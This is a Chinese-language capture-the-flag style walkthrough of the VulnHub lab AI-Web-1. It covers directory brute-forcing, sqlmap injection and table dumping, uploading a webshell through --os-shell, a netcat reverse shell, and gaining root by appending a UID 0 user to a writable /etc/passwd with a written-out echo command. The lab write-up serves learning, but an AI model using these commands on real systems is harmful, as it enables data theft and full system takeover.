这是vulnhub靶机系列文章的第一篇,接下来这段时间会分享曾经做过比较接近实战的靶机,把思路分享给大家...
靶机下载链接:https://www.vulnhub.com/entry/ai-web-1,353/
#001 环境搭建(nat)
攻击机kali:192.168.136.129
靶机AI-web-1:192.168.136.142
#002 实战writeup
寻找靶机ip,netdiscover -i eth0,发现靶机ip为192.168.136.142
访问了一下80端口,页面只有一句话,所以只有爆破一下目录看下有没有突破口了
dirb跑一下目录,目录也是少得可怜只有两个有用的,看一下robots.txt文件看下,发现两个目录,访问第一个没权限,第二个看着是上传目录
接着访问/se3reTdir777/uploads/目录还是没权限
然后我就尝试只访问/se3reTdir777/,发现是一个选择框,应该是存在注入的
#003 sqlmap注入
因为最近想把sqlmap用熟一点,所以用burp抓包,然后加一个*号告诉sqlmap注入点,保存为1.txt,然后用sqlmap -r跑包
爆aiweb1的表名 -D aiweb1 --tables,可以看到有两个表
爆user表的列名 -D aiweb1 -T user --columns
爆列名的内容 -D aiweb1 -T user --columns –dump
然后再把systemUser的内容爆出来-D aiweb1 -T systemUser --columns --dump
#004 尝试--os-shell,写入一句话
因为要网站绝对路径,所以再尝试继续爆破一下robots文件里的爆出的目录下还有没有目录,或许存在phpinfo信息泄露,结果爆破m3diNf0目录下有一个info.php
访问一下info.php,发现是phpinfo探针,找到网站绝对路径
尝试--os-shell,但是显示没有写入权限,所以要找一个可以写入的路径,把所有我所能知道的路径都试了一下,终于这个uploads的目录是可以成功写入的
#005 提权分析
利用蚁剑把linux提权辅助工具上传到目标,然后给权限,并执行,但是并没有给出可利用的exp
接下来再查看一下目录的文件看一下有没有可利用的,linux有种提权方式是直接修改/etc/passwd文件,有写入权限的话直接添加一个root身份的用户,从而提权
ls -l /etc/passwd #看一下权限,发现竟然可以写,ok直接添加
#006 提权操作
直接利用kali的openssl工具生成相应格式的密码
openssl passwd -1 -salt panda panda //用openssl生成用户,用户名为panda ,密码为 panda
$1$panda$OuzPB6mr8Cmrm7FQ5zoj5/ //生成后/etc/passwd储存用户格式的文件
panda:$1$panda$OuzPB6mr8Cmrm7FQ5zoj5/:0:0:root:/root:/bin/bash //写入/etc/passwd文件的格式
把文件写入/etc/passwd文件下
echo 'panda:$1$panda$OuzPB6mr8Cmrm7FQ5zoj5/:0:0::/root:/bin/bash' >>/etc/passwd //把文件写入到/etc/passwd文件里面
查看一下/etc/passwd文件内容,可以看到成功写入了,至于为什么是panda2,因为一开始测试写入格式错了,所以重新写了个panda2,步骤不变
然后su切换到panda用户,但是需要一个标准的终端,但是我在蚁剑终端多次尝试利用php脚本反弹shell失败,然后利用sqlmap的os-shell执行反弹也失败,然后我就上传了一个执行命令的马
然后利用burp抓包,执行php反弹shell命令,注意payload需要url编码之后再执行,否则不识别
然后nc监听6666端口,成功接收到反弹的shell,python一句话获取标准终端
su panda2 输入密码panda2,顺利提权到root
#007 总结归纳
判断注入,利用sqlmap自动化注入
利用sqlmap参数判断数据库用户以及权限
利用os-shell时,需要找到网站绝对路径并且路径需要允许写入
利用echo命令直接写入一句话木马
反弹shell可利用上传执行命令的一句话,用burp执行反弹(url编码后)
Linux提权的姿势:修改/etc/passwd文件直接添加root身份的用户提权
kali中openssl的使用